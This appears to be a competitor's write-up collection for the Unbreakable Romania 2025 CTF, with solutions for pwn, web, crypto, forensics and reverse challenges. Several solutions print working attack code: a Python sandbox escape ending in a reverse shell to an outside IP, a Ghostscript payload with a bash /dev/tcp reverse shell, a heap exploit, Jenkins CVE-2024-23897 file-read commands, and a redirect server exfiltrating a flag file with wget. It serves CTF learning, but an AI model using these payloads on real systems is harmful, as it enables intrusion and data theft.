Unbreakable Romania 2025 Individual writeups
Scoreboard & Thoughts
This was a pretty good ctf, most of the challenges being not that guessy with a few exceptions, my favourite challenge was luma-chain
for which I wrote a very detailed writeup.
Kudos to the top 7 players.
Luma-Chain: Pwn
The binary implemented a custom blockchain with the options to view balance
, add balance
, shit post
and create contract
The create contract
function had a feature where it would run our contract code in a restricted environment
exec(
compiled,
{
"__builtins__": {
"__build_class__": __build_class__,
"__name__": __name__,
"id": id,
},
"input": input,
"result": result,
},
{"__builtins__": {}},
)
The blockchain also implemented audit hooks to block calls everything except builtins.id
, cpython.PyInterpreterState_Clear
and cpython._PySys_ClearAuditHooks
, the last 2 being unable to be called anyways from standard python as they are internal cython calls.
static int audit(const char *event, PyObject *args, void *userData) {
printf("arg1 = %s\n", event);
if (!strcmp(event, "builtins.id")) {
return 0;
}
if (!strcmp(event, "cpython.PyInterpreterState_Clear")) {
return 0;
}
if (!strcmp(event, "cpython._PySys_ClearAuditHooks")) {
return 0;
}
if (running) {
printf("Luma mogged u lol\n");
printf("Luma mogged u lol\n");
printf("Luma mogged u lol\n");
printf("Luma mogged u lol\n");
exit(1);
}
if (!running && !strcmp(event, "exec"))
running = 1;
return 0;
}
The blockchain intracted with an internal program using shared memory we could write with the output of the contract
result = result[:56]
shmem.seek(0)
shmem.write(struct.pack("@I", type) + struct.pack("@I", len(result)) + result)
shmem.close()
We could easily spot a BOF in the internal program in the parser function, the code running memcpy without checking if message_length>56
void handle_message() {
char buf[56];
uint32_t message_type = ((volatile uint32_t *)shared_memory)[0];
uint32_t message_length = ((volatile uint32_t *)shared_memory)[1];
memcpy(buf, (void *)&shared_memory[8], message_length);
switch (message_type) {
case MESSAGE_TYPE_ADD: {
lumacash += *(uint64_t *)&buf[0];
} break;
case MESSAGE_TYPE_SHITPOST: {
memcpy(last_shitpost, buf, message_length);
system("curl -X POST -d \"ban_my_account=True\" "
"luciphp://cyber-edu.avadanei.co:69420");
} break;
case MESSAGE_TYPE_GET: {
memcpy((void *)shared_memory, &lumacash, sizeof(lumacash));
msync((void *)shared_memory, SHARED_MEMORY_SIZE, MS_SYNC);
} break;
}
}
However there was no way to trivially abuse this as the python code blocked our overflow attempts using result = result[:56]
.
So what now?
Well considering we can run python, I enumerated what we had access to, as we didnt have builtins we needed a way to recover them.
We had access to __name__
, __build_class__
and id
, as __build_class__.__self__
doesn’t trigger any hooks we can use that to retrieve builtins and useful functions we are going to use later
gi = lambda o, k: __build_class__.__self__.dict.__getitem__(__build_class__.__self__.dict(__build_class__.__self__.vars(o)), k)
print = __build_class__.__self__.print
bytearray = __build_class__.__self__.bytearray
baset = __build_class__.__self__.bytearray.__setitem__
baget = __build_class__.__self__.bytearray.__getitem__
dict = __build_class__.__self__.dict
sa = dict.__setitem__
ga = __build_class__.__self__.getatt
My first thought was to try to overwrite the class of the result
array to overwrite the __getitem__
constructor to make it so that when result = result[:56]
is called it just returns the full array.
However after a lot of testing I determined this exploitation path was not feasible as there was no way to overwrite and save the bytearray
constructor without triggering hooks.
Considering I could call almost nothing due to the hooks, I rechecked what I had access to and saw that the id
function could return the memory location of anything we gave as the first argument.
This is a primitive close arbitrary read, and if you thought this seems useless without any writes you would be right!
Having an arbitrary read, I tried ways of triggering an arbitrary write and while this doesnt even seem possible in a language as safe as python if you thought you would be very wrong lol.
Enter MEMORY CORRUPTION. We can actually trigger an UAF to gain an arbitrary write primitive, here’s an example on how you can do that
class lol:
def __index__(self):
global xd, yes
del yes[:]
xd = __build_class__.__self__.bytearray()
yes.extend([0] * 56)
return 1
yes = __build_class__.__self__.bytearray(56)
baset(yes, 23, lol())
baset(xd, id(200) + 24, 255)
print(200)
Now armed with an arbitrary read and an arbitrary write, we just had to get code execution. After many failed attempts I realised the audit hooks were stored somewhere in memory and since the python binary was compiled with no PIE in the container we could figure out the address where they were loaded
linuxvb@linuxvb-VirtualBox:~/ctfs/unr2025-solo/luma-chain$ checksec pythoncontainer
[*] '/home/linuxvb/ctfs/unr2025-solo/luma-chain/pythoncontainer'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
I got the offset from static analysis with ida of the PySys_AddAuditHook
function combined with dynamic analysis with gdb
and used something like this to leak where the hooks were being loaded in memory. Keep in mind we still need to avoid the hooks catching us.
subcls = __build_class__.__self__.dict(__build_class__.__self__.vars(__build_class__.__self__.type))['__subclasses__'](__build_class__.__self__.object)
print(subcls)
wc, = [cls for cls in subcls if 'wrap_close' in __build_class__.__self__.str(cls)]
__build_class__.__self__.print(wc)
glob = ga(gi(wc, "__init__"), "__globals__")
sys = __build_class__.__self__.dict.__getitem__(glob, "sys")
print(sys)
aud = ga(sys.audit, "__init__")
print(aud)
audit_loc = id(sys.audit)+16
print(__build_class__.__self__.hex(audit_loc))
audit_ptr = read_qword(xd, audit_loc)
print(__build_class__.__self__.hex(audit_ptr))
audit_hook_head = audit_ptr + 0xe8ce0 + (383 * 8)
Now that I knew where they were located I just 0’d them out so they would affect the program anymore and just popped a reverse shell using system
baset(xd, __build_class__.__self__.slice(audit_hook_head, audit_hook_head + 8), __build_class__.__self__.bytes([0]*8))
system = __build_class__.__self__.dict.__getitem__(glob, "system")
system("""python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("159.89.6.53",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'""")
The flag was CTF{wow_you_ju5+_e5c@ped_+he_1um@_ch@in_on_5ki6idi_k09c82k90ck@0r}
Full exploit script below
from pwn import *
context.log_level = 'debug'
host, port = '127.0.0.1',8081
def newp():
return remote(host, port)
def send_contract(payload,inp):
payload = payload.hex().encode()
inp = inp.hex().encode()
p.sendline(b'/contract' + b' ' + payload + b' ' + inp)
p = newp()
payload = b'''
gi = lambda o, k: __build_class__.__self__.dict.__getitem__(__build_class__.__self__.dict(__build_class__.__self__.vars(o)), k)
print = __build_class__.__self__.print
bytearray = __build_class__.__self__.bytearray
baset = __build_class__.__self__.bytearray.__setitem__
baget = __build_class__.__self__.bytearray.__getitem__
dict = __build_class__.__self__.dict
sa = dict.__setitem__
ga = __build_class__.__self__.getattr
def read_qword(mem, addr):
global baget
b = []
for i in __build_class__.__self__.range(8):
b.append(baget(mem, addr + i))
return __build_class__.__self__.int.from_bytes(__build_class__.__self__.bytes(b), 'little')
class lol:
def __index__(self):
global xd, yes
del yes[:]
xd = __build_class__.__self__.bytearray()
yes.extend([0] * 56)
return 1
yes = __build_class__.__self__.bytearray(56)
baset(yes, 23, lol())
subcls = __build_class__.__self__.dict(__build_class__.__self__.vars(__build_class__.__self__.type))['__subclasses__'](__build_class__.__self__.object)
print(subcls)
wc, = [cls for cls in subcls if 'wrap_close' in __build_class__.__self__.str(cls)]
__build_class__.__self__.print(wc)
glob = ga(gi(wc, "__init__"), "__globals__")
sys = __build_class__.__self__.dict.__getitem__(glob, "sys")
print(sys)
aud = ga(sys.audit, "__init__")
print(aud)
audit_loc = id(sys.audit)+16
print(__build_class__.__self__.hex(audit_loc))
audit_ptr = read_qword(xd, audit_loc)
print(__build_class__.__self__.hex(audit_ptr))
audit_hook_head = audit_ptr + 0xe8ce0 + (383 * 8)
baset(xd, __build_class__.__self__.slice(audit_hook_head, audit_hook_head + 8), __build_class__.__self__.bytes([0]*8))
system = __build_class__.__self__.dict.__getitem__(glob, "system")
system("""python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("159.89.6.53",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'""")
'''
inp = b'0'
send_contract(payload, inp)
p.close()
xps: Pwn
We receive a classic heap menu challenge.
Option 1 allows us to malloc
up to 16 chunks at the same time of a size of our choice. The first bug was in how it saved the data as it didn’t account for when the length was maximum so we had a null byte overflow.
buf = malloc(v2);
printf("Msg: ");
read(0, buf, v2);
*((_BYTE *)buf + v2) = 0;
Right after that was our second bug as the chunks were immediately printed using %s
so if any pointers were present in the first bytes we could get a leak
int __fastcall cps_transform(__int64 a1)
{
unsigned int v1; // eax
char *format; // [rsp+20h] [rbp-10h]
v1 = time(0LL);
srand(v1);
format = (&xss_payloads)[rand() % 9LL]; // all of these printed using %s
printf("Transformed payload: ");
printf(format, a1);
return putchar(10);
}
We also had the option to free chunks which 0’d out the pointer and also memset the first 16 bytes to 0, a pretty secure implementation
int __fastcall free_memory(unsigned __int8 a1)
{
int result; // eax
if ( !*(&saveAllocations + a1) || a1 > 16u )
return puts("Incorrect index.");
memset(*(&saveAllocations + a1), 0, 0x10uLL);
free(*(&saveAllocations + a1));
result = a1;
*(&saveAllocations + a1) = 0LL;
return result;
}
So we just have to implement a classic null byte overflow with no additional protections as libc was 2.25. The only thing to keep in mind is that at lines 51,52 in the code the order needs to be
delete(1)
delete(0)
If you invert the operations the first free will 0 out the size field of chunk 1 and this will crash.
Exploit script
from pwn import *
context.log_level = 'debug'
context.binary = binary = './xps'
given_libc = './libc.so.6'
libc = ELF(given_libc)
elf = ELF(binary)
host, port = '35.198.148.201',32465
def newp():
if args.REMOTE:
return remote(host, port)
return process(elf.path)
def create(index, size, data): #create chunk
p.sendlineafter(b'3. Exit\n> ', b'1')
p.sendlineafter(b'Index: ', str(index).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Msg: ', data)
def delete(index): #delete chunk
p.sendlineafter(b'3. Exit\n> ', b'2')
p.sendlineafter(b'Index: ', str(index).encode())
p = newp()
create(0, 0xf8, b'A'*0xf8)
create(1, 0x68, b'B'*0x68)
create(2, 0xf8, b'C'*0xf8)
create(3, 0x10, b'D'*0x10)
delete(0)
delete(1)
create(0, 0x68, b'B'*0x60 + p64(0x170))
delete(2)
create(1, 0xf6, b'E')
#p.interactive()
leak = p.recvline().split(b'alert("')[1].split(b'")>')[0]
leak = u64(leak.ljust(8, b'\x00'))
print(f'Leaked libc address: {hex(leak)}')
libc_base = leak - 0x397d45
print(f'Libc base: {hex(libc_base)}')
delete(1)
create(1, 0x100, b'B'*0xf8 + p64(0x70))
delete(1)
delete(0)
malloc_hook_offset = libc.sym['__malloc_hook'] - 0x23
print(malloc_hook_offset)
malloc_hook = libc_base + malloc_hook_offset
print(f'Malloc hook: {hex(malloc_hook)}')
create(0, 0x108, b'F'*0xf8 + p64(0x70) + p64(malloc_hook))
create(1, 0x68, b'B'*0x68)
gadget_offset = 0xd6fb1
gadget = libc_base + gadget_offset
create(2, 0x68, 0x13*b'G'+p64(gadget)+0x4d*b'\x00')
p.sendlineafter(b'3. Exit\n> ', b'1')
p.sendlineafter(b'Index: ', b'5')
p.sendlineafter(b'Size: ', b'0x20')
p.interactive()
Flag was UNBR{11f0693ffa307c21cafb41e7345668a6c6ed40d93d220d247275d793d8926374}
secretBook: Crypto
After installing the files we are presented with some pictures, a binary and an encrypted text.
Firstly to reverse the binary extract the embedded pyc using pyinstxtractor-ng
and decompile it to obtain this source
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: open_book_app.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import sys
import os
wordlist_file = 'inspiration.txt'
input_file = 'my_secret_book_draft.secure'
output_file = 'my_secret_book_draft.txt'
def load_wordlist(wordlist_file):
"""Load words from the wordlist file into a list.""" # inserted
if not os.path.isfile(wordlist_file):
print('I must find my inspiration')
sys.exit(1)
try:
with open(wordlist_file, 'r', encoding='utf-8') as f:
words = [line.strip() for line in f if line.strip()]
return words
except FileNotFoundError:
print(f'Error: {wordlist_file} not found.')
sys.exit(1)
def xor_file_with_words(input_file, words, order):
"""XOR file content with words from the list in the specified order.""" # inserted
try:
with open(input_file, 'rb') as f:
data = f.read()
xored_data = data
for idx in order:
word = words[idx]
word_bytes = word.encode('utf-8')
word_bytes_repeated = word_bytes * (len(xored_data) // len(word_bytes) + 1)
xored_data = bytes((d ^ k for d, k in zip(xored_data, word_bytes_repeated[:len(xored_data)])))
return xored_data
except FileNotFoundError:
print(f'Error: {input_file} not found.')
sys.exit(1)
def save_output_to_file(output_data, output_file):
"""Save the XOR result to a text file.""" # inserted
try:
with open(output_file, 'wb') as f:
f.write(output_data)
print(f'Decrypted output saved to {output_file}')
except IOError as e:
print(f'Error saving to {output_file}: {e}')
sys.exit(1)
if __name__ == '__main__':
if not os.path.isfile(wordlist_file):
print('I must find my inspiration')
sys.exit(1)
order_input = input('Please provide a list: ')
try:
order = [int(i) for i in order_input.split(',')]
words = load_wordlist(wordlist_file)
if any((idx >= len(words) for idx in order)):
print('Error: Order indices exceed available words in wordlist.')
sys.exit(1)
decrypted_data = xor_file_with_words(input_file, words, order)
save_output_to_file(decrypted_data, output_file)
except ValueError:
print('Error: Invalid input. Please provide a comma-separated list of integers.')
sys.exit(1)
You can see it xors with words from inspiration.txt
at the given indices.
Checking the images we see some have metadata, combining the words from the comments we get the following sentence
The kite flew by the lighthouse as the dolphin swam near the waterfall, while the rainbow arched over the jungle with one parrot flying above.
And now all we need to do is xor with those words right? NO
Because the challenge author has brain damage and doesn’t even know how array’s work we actually had to the take the index of each word+1 and xor with that to get the flag.
The key indices were 102,11,179,235,102,12,112,102,4,233,238,102,23,149,102,18,237,121,102,10,105,31,16,54,131
, xor the file with these words to get the flag ctf{8d3acd89dd7a20a18f8a6821a5e4549bac67cfe91d2da09a9ffad957cfc4cee4}
.
secret_antidote: Forensics
Running string -n 7
on the file shows some morse, decoding it we get:
THEKEYFORTHEANTIDOTEIS:
GOLF
OSCAR
OSCAR
DELTA
NOVEMBER
INDIA
GOLF
HOTEL
TANGO
GOLF
OSCAR
OSCAR
DELTA
LIMA
UNIFORM
CHARLIE
KILO
Decode the next part with nato phonetic cipher to get the flag: good-night-good-luck
-> ctf{9f19fa2836c4a78da54cd418feca82365801f86694fca777a3fd8f9c7dfb5d13}
ardu_composer: Reverse
We can get the first flag part using strings ctf{1878c966930833d2784db21eec0f1
We can get the source code using avr-objdump -d ardu_composer.ino.elf > out.asm
Looking through the source we can see an array named _ZL15epd_bitmap_ctf2
. Parsing it to a bitmap reveals the second part of the flag 00e1c4ab07d41d3de32f5b2b16d2ea26dd5}
. Here is my script
import numpy as np
import matplotlib.pyplot as plt
def load_bitmap(filename):
with open(filename, "rb") as f:
return f.read()
def decode_epd_bitmap(data, width, height, invert=True):
expected_size = (width * height) // 8
img = np.zeros((height, width), dtype=np.uint8)
for row in range(height):
for col_byte in range(width // 8):
byte_index = row * (width // 8) + col_byte
if byte_index >= len(data):
break
byte_val = data[byte_index]
for bit in range(8):
pixel = (byte_val >> (7 - bit)) & 1
if invert:
pixel = 1 - pixel
x = col_byte * 8 + bit
img[row, x] = pixel
return img
def show_image(img):
plt.imshow(img, cmap="gray", interpolation="nearest")
plt.title("Decoded EPD Bitmap")
plt.axis("off")
plt.show()
width = 128
height = 64
filename = "epd_bitmap_ctf2.bin"
data = load_bitmap(filename)
img = decode_epd_bitmap(data, width, height,
invert=False)
show_image(img)
hunting-phantom-traffic: Forensics
We receive a pcap, openeing it in wireshark we it does a GET on mimikatz.exe
in paket 17, this was the answer to Q1.
From that packet you could also get the C2 ip 192.168.100.46
For Q3 just filter by tcp.dstport == 4444
and you’ll see payment.txt
in one of the packets.
For Q4 filter by ftp
and the other login is ftpuser:ftpuser
And lastly for Q5 use export http objects to get the image and run sha256sum
on it c6627f8c7d95d75cc8d2140c63e25d35a28c3df1fdc4c2969694174a771118f2
php-troll: Web
The source is very small, the website opening a file of our choosing and placing the contents in /tmp/dump.txt
<?php
if (!isset($_GET['x'])) {
highlight_file(__FILE__);
die();
}
// Easy, right? The flag is in flag.php
copy($_GET['x'], "/tmp/dump.txt");
This is a classic php filter chain oracle exploit, better detailed here.
Just copy the exploit from here and run it to get the flag
python3 filters_chain_oracle_exploit.py --target http://34.89.160.63:30936/ --file 'flag.php' --parameter x --verb GET
Do note we had to brute the last two chars as there is a 135 (I think) character limit on the exploit and there was some junk before it in the flag.php
file.
The flag is CTF{5091db8f148b071726c5dce67f0896cbb1f7ed1d13c1eb05cad74e3096cd8242}
strange-encoding: Crypto
We receive an msg.enc
, counting the paranthesis I saw the (
and )
counts were the same so I thought about python.
Doing reverse
and rot14
in cyberchef reveals an exec
code
exec('x=%x'%('e'==''))==exec('e=%x'%(''==''))==exec('c=%x%%x'%e%e)==exec('c=%x%%x%%%%x%%%%%%%%x'%x%c%e%e)==exec('ee=%x%%x%%%%x'%e%x%c)==exec('ee=%x'%ee)==exec('ee=%x'%ee)==exec('xe=ee%ce%%ce'%ee%ee)==exec('xx=ee%cc'%xe)==exec('xc=xx%ce'%ee)==exec('ce=xc%cc'%ee)==exec('cx=ce%cxx'%ee)==exec('cc=cx%cxc'%ee)==exec('eee=cc%cxx'%ee)==exec('eex=eee%cxe'%xe)==exec('eec=eex%cc'%ee)==exec('exe=eec%ccx'%xe)==exec('exx=xe%cexe'%xe)==exec('exc=eex%cexx'%xe)==exec('ece=eee%cexc'%xe)==exec('ecx=ece%cc'%ee)==exec('ecc=ecx%cece'%ee)==exec('xee=ecc%cexx'%xe)==exec('xex=xee%cce'%xe)==exec('xec=xex%cxex'%ee)==exec('xxe=xec%cexx'%ee)==exec('xxx=eee%cxxe'%xe)==exec('xxc=xxx%ce'%xe)==exec('xce=ecc%cxxc'%xe)==exec('xcx=xce%cxex'%ee)==exec('xcc=xcx%cxe'%xe)==exec('cee=eee%cxcc'%xe)==exec('cex=cee%cc'%ee)==exec('cec=cex%cxxx'%xe)==exec('cxe=cec%cxxc'%ee)==exec('cxx=cxe%cexe'%xe)==exec('cxc=cxx%cxc'%ee)==exec('cce=cxc%ccec'%xe)==exec('ccx=eex%ccce'%xe)==exec('ccc=cxc%cccx'%xe)==exec('eeee=ccc%ce'%ee)==exec('eeex=eeee%cccx'%ee)==exec('eeec=eeex%cexx'%xe)==exec('eexe=eeec%cecx'%ee)==exec('eexx=eexe%cee'%xe)==exec('''ex=('%c%%c%%%%c%%%%%%%%c')''')==exec('''ec=('')''')==exec('ec%c=ex%%cxc%%eexx%%eeec%%eeex'%ee)==exec('ec%c=ex%%ccc%%cxx%%ccc%%exe'%ee)==exec('ec%c=ex%%xcc%%cx%%ccx%%eec'%ee)==exec('ec%c=ex%%cxe%%cce%%cxc%%cec'%ee)==exec('ec%c=ex%%cec%%cee%%cxc%%cee'%ee)==exec('ec%c=ex%%xce%%xxx%%cxe%%xce'%ee)==exec('ec%c=ex%%ece%%cce%%cxc%%cec'%ee)==exec('ec%c=ex%%eeec%%cex%%cex%%xxc'%ee)==exec('ec%c=ex%%cce%%cxe%%cxc%%cce'%ee)==exec('ec%c=ex%%cce%%cxe%%cee%%xxx'%ee)==exec('ec%c=ex%%ece%%xce%%ecx%%xex'%ee)==exec('ec%c=ex%%cxe%%xex%%xee%%xxc'%ee)==exec('ec%c=ex%%cxe%%xex%%ecx%%cxc'%ee)==exec('ec%c=ex%%xce%%cxc%%ecx%%xxx'%ee)==exec('ec%c=ex%%cex%%cxc%%cce%%xex'%ee)==exec('ec%c=ex%%cex%%cxe%%cxc%%cex'%ee)==exec('ec%c=ex%%cec%%xex%%xex%%cxe'%ee)==exec('ec%c=ex%%cec%%cec%%cce%%cce'%ee)==exec('ec%c=ex%%cxc%%xxc%%xce%%cex'%ee)==exec('ec%c=ex%%cc%%exe%%ce%%cex'%ee)==exec('ec%c=ex%%eex%%ecc%%xxe%%xx'%ee)==exec('ec%c=ex%%xxc%%xc%%ce%%xcx'%ee)==exec('ec%c=ex%%exc%%ecc%%xec%%xxe'%ee)==exec('ec%c=ex%%xx%%cxc%%eexx%%eeec'%ee)==exec('''ec%c='%%c'%%eeex'''%ee)==exec('''ec%c='%%c'%%xc'''%ee)==exec(ec)
Changing the last exec to a print shows the flag
flag = 'CTF{d2f44bfb91d932f4aee02df22db13967d7c0d76f9f61ef27edfe477d4422f09e}',exit(0),print(flag)
peroxid: Web
We have a file upload vuln with almost random names generated by
$fileName = uniqid('img_', true) . '.' . $extension;
In addition the file was processed by imagemagick
The first vuln seemed to be a rabbit hole as I didn’t find any good way to brute the php internal_lcg
seed.
Searching for exploits related to imagemagick led me to find this article from hackerone
Testing their POC we are able to pop a shell
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/159.89.6.53/1337 0>&1')
currentdevice putdeviceprops
jankin-jenkins: Web
Running whatweb
on the website we can see the jenkins version is 2.441
.
The version is vulnerable to cve-2024-23897
, I used the hackthebox article to exploit. Downloaded the cli from the path /jnlpJars/jenkins-cli.jar
java -jar jenkins-cli.jar -s http://34.141.126.212:31009/ connect-node "@/proc/self/environ" | grep -i flag
java -jar jenkins-cli.jar -s http://34.141.126.212:31009/ connect-node "@/var/jenkins_home/secrets/initialAdminPassword"
java -jar jenkins-cli.jar -s http://34.159.49.236:32521/ connect-node "@/etc/passwd"
java -jar jenkins-cli.jar -s http://34.159.137.2:31767/ connect-node "@/home/flag.txt"
my-specialty: Rev, Crypto
The binary implemented an RSA encryption of the flag, e was 0x10001
so that was secure, the problem lied in how it generated the primes.
It used an algorithm that basically did this to genrate a 2048 bit N.
(r1*r1 + a1) * (r2*r2 + a2)
a1 = 0x539
a2 = 0xCF5
r1 = random
r2 = random
Searching for attacks on this I found this paper that referenced this paper which contained the attack we need.
Now just implement the attack to crack
import math
from sympy import sqrt, integer_nthroot
from Crypto.Util.number import inverse, long_to_bytes
# Given parameters
N = 111707958900765710398221410031164620328420649311968772915979611007865517805846601909323756372539783599211790618155940725387991948861933253593885323199638442580734030737504817890495819757759073024096325203094515946176865037945973409055458780633999967879384662326237303943257654276308848562603079732486635017859839262122813174512291302058416496516406107299062301941633718489405731162561636948933763021960880840333940891398726183134815048236834549300408643029893648730255881015371132638882523979515174080051191974236537301973710910843626918156897539941964896612748181920423528739071835747641814492863951241825082781153
rp = 1337 # 1337 decimal
rq = 3317 # 3317 decimal
m = 2
e = 65537
c = 95359928587764831480911453909207891080325418583420988468597736573261507006173170207060195551022261350232673714121894143070297449503797250510491056609913217292486277150236907018272378301183372848642458193059771358743664373297171128180992999582614219732033289380947350648148990613316165351439300568864887775837728390020938390340957429399228128031681736974383272172501839065156927134436381870106357722355963105434667672618355971178611001662410691625562777671918959424161218537115943248493048668591967661754432967818124467712172625060771944442677444770466047177648215160677042557263736253458151837698445366178657841046
i = int(integer_nthroot(rp*rq,2)[0])
print(i)
i = 1
while i < rq//2 + rp + 1 + 10**6:
omega = (int(integer_nthroot(N,2)[0]) - i) ** 2
z = (N - rp * rq) % omega
i+=1
disc = z*z - 4*omega*rp*rq
if disc < 0:
continue
sqrt_disc = int(integer_nthroot(disc,2)[0])
num1 = z + sqrt_disc
X1 = num1 // 2
num2 = z - sqrt_disc
X2 = num2 // 2
p = (N // (X1 // rq + rp))
q = (N // (X2 // rq + rp))
if N%p == 0:
print('Found p')
print(p)
q = N // p
break
if N%q == 0:
print('Found q')
print(q)
p = N // q
break
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, N)
print(m)
m = long_to_bytes(m)
print(m)
The flag was CTF{53e134efb6cf5bdd0f8e035577abb9ffc27130f573689c57ef24dbf5c92ef4b1}
ai-sincs: Forensics
For Q1 just try chatgpt
as it’s a well known AI.
For Q2 just do grep -ira \@gmail.com
and try all the emails.
For Q4 just do grep -ra sid=29
And for the flag we needed to use volatility to analyse the dump, knowing the user talked to chatgpt I dumped the chatgpt conversation and the flag was there in base32
python3 ~/volatility3/vol.py --file Challenge.elf windows.info
python3 ~/volatility3/vol.py --file Challenge.elf windows.cmdline.CmdLine
python3 ~/volatility3/vol.py --file Challenge.elf windows.filescan.FileScan
python3 ~/volatility3/vol.py -f Challenge.elf windows.dumpfiles.DumpFiles --virtaddr 0x800751c92710
The flag was CTF{7f207508e2f0dcf5b5431447b9d661cb0edc96b5527ae76c38e2a0663d1a9bda}
dev-release: Mobile
Reversing the app we can see it interacts with an api that has the following options
/api/balance
/api/health
/api/items
/api/purchase
/api/reset-balance
Looking where they are used in the source we can see the purchase has a costless option
private static String f139String$0$str$funtoString$classPurchaseRequest = "PurchaseRequest(";
private static String f145String$1$str$funtoString$classPurchaseRequest = "itemId=";
private static String f151String$3$str$funtoString$classPurchaseRequest = ", ";
private static String f155String$4$str$funtoString$classPurchaseRequest = "costless=";
private static String f158String$6$str$funtoString$classPurchaseRequest = ")";
Send a request with it to get the flag
fast-hook: Misc
We have an app that sends an OPTIONS
request to an url. The restriction is that it should start with https://cyber-edu.co
Try to SSRF with https://cyber-edu.co@test
we get
You hacker! Invalid URL! Cannot contain 'co@
This can be easily bypassed by placing some chars after co
https://cyber-edu.colol@wysynbqw.requestrepo.com
Checking the request repo we see the flag
Screenshooter: Web
The app was vulnerable to semi CSRF via the /dashboard
api
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
if 'user' not in session:
return redirect(url_for('login'))
text = request.values.get('text')
if text:
# Call the screenshot service
url = urljoin(f'http://localhost:{APP_PORT}/', f'/text/{text}')
result = requests.get(
SCREENSHOT_SERVICE,
params={'url': url} # CSRF kinda
).json()
if 'error' in result:
return 'Error getting screenshot'
return render_template('preview.html', screenshot=result['result'])
return render_template('dashboard.html')
We could extend our reach using the open-redirect in /login
in the next
parameter
@app.route('/login', methods=['GET', 'POST'])
def login():
email = request.values.get('email')
password = request.values.get('password')
next_url = request.values.get('next', '/dashboard')
if not email or not password:
return render_template('login.html')
if email in users and users[email] == password:
session['user'] = email
return redirect(next_url) # open redirect
return render_template('login.html')
Now just deploy a server to redirect to locahost:5000
with parameters that post the flag file to our vps
This was exp.py
import os
import random
import requests
from flask import Flask, render_template, request, redirect, url_for, session
from urllib.parse import urljoin
APP_PORT = os.getenv('APP_PORT', 1234)
SERVICE_PORT = os.getenv('SERVICE_PORT', 5000)
FONTS = ['Press Start 2P', 'Bangers', 'Rubik Glitch', 'Fredericka the Great', 'Nosifer', 'Monoton']
SCREENSHOT_SERVICE = f'http://127.0.0.1:{SERVICE_PORT}/screenshot'
users = {}
text = '../login?a=a&a=a'
url = urljoin(f'http://localhost:{APP_PORT}/', f'/text/{text}')
print(url)
r = requests.session()
url = 'http://127.0.0.1:1234'
url = 'http://34.159.27.166:32152'
resp = r.post(url + '/register',data={'email':'a','password':'a'})
#print(resp.text)
resp = r.post(url + '/login',data={'email':'a','password':'a'})
#print(resp.text)
resp = r.post(url + '/dashboard',data={'text':'../login?email=a&password=a&next=//159.89.6.53:8000'})
print(resp.text)
And this was server.py
from flask import Flask, redirect, request
from flask import Flask, request, redirect
from urllib.parse import urlparse, urlunparse, urlencode, parse_qs
app = Flask(__name__)
# @app.route('/')
# def redirect_to_target():
# #return redirect('http://localhost:5000/screenshot?url=159.89.6.53:1338%26verbose%3d--post-data="$(echo RCE)"', code=302)
# return redirect('http://localhost:5000/screenshot?verbose=--post-data="$(echo RCE)"', code=302)
@app.route('/')
def redirect_with_params():
dest = 'http://localhost:5000/screenshot'
parsed_url = urlparse(dest)
query_params = parse_qs(parsed_url.query)
query_params['verbose'] = '--post-data="$(echo RCE)"'
query_params['verbose'] = '--post-file=/app/flag.txt'
query_params['url'] = '159.89.6.53:1338'
new_query = urlencode(query_params, doseq=True)
new_url = urlunparse((
parsed_url.scheme,
parsed_url.netloc,
parsed_url.path,
parsed_url.params,
new_query,
parsed_url.fragment
))
return redirect(new_url)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
On port 1338 I just ran a listener and waited for the file upload.
Aligator: Web
The website used "next": "14.2.24"
so it was vulnerable to CVE-2025-29927
Placing x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
in the request bypassed authorization
Get the first flag from /api/flag
For the second part we first had to upload a file to overwrite .gitignore
with something that contained crocoLUMA
, do that with /api/admin/upload
Now just get /admin/flag
to get the second part
simple-go: Rev
Open the file in ida 8.3 to see that it has a main.getFlag
function.
Since 8.3 didn’t want to decompile I got its offset 0x10009a2b0
and opened it with ida 7.7, the challenge was just doing a simple xor
Made this quick script to decrypt
import struct
from pwn import *
key = p16(14099) + p32(-272716322&0xffffffff)
data = b''
data += p8(80)
data += p32(-1999202205&0xffffffff)
data += p64(0x22D78ECCE9562BDF)
data += p64(0xBF5627DC8DCCE803)
data += p64(0x8B9ABD0377D88DC9)
data += p64(0x27DA86CFEF0771DE)
data += p64(0xE65221DBDB9CBB52)
data += p64(0x8E9DBF0477DB8B9F)
data += p64(0x228B879EE8542BDB)
data += p64(0xA30E2B8A87CBBA53)
print(xor(data,key))
treasure-hunt: Stego
Looking at the image with stegsolve, we can see a sus line in Red Plane 3.
Extracting the Red LSB 3 from the image we can see this in the strings
{"bottle":"Now, tell me, ye scallywag, what fruit did that tree bear?", "treasure": "UEsDBDMAAQBjAAO9WFoAAAAAWgAAAEUAAAAIAAsAZmxhZy50eHQBmQcAAgBBRQMIAFhOyFF8J1TyG2doQcYvrgzortHSCGMNxMshPDobNzagEPb3jVJi8820aRecsizN1F01EToNfBXNYLUo7v4irZDLka8iLR9HfkY0xgT+GE/9MxamvgIZHDogalBLAQI/ADMAAQBjAAO9WFoAAAAAWgAAAEUAAAAIAC8AAAAAAAAAIAAAAAAAAABmbGFnLnR4dAoAIAAAAAAAAQAYAEVPEqsEh9sBAAAAAAAAAAAAAAAAAAAAAAGZBwACAEFFAwgAUEsFBgAAAAABAAEAZQAAAIsAAAAAAA=="}
Base64 decrypt to see its a zip then crack the passwords with john
~/john/run/zip2john xd.zip > hash.txt
john hash.txt
The password was banana
and it gave us the flag CTF{1f8915fa52fbf862ba636d69f39427dd8aeb4a9e7b28afc5a36fd70d6db580ac}
world-of-flags: Rev
We receive a game, loading it with gdb we see it unpacks some values in /tmp
Copying the unpacked values and running binwalk on the new binary SuperGame
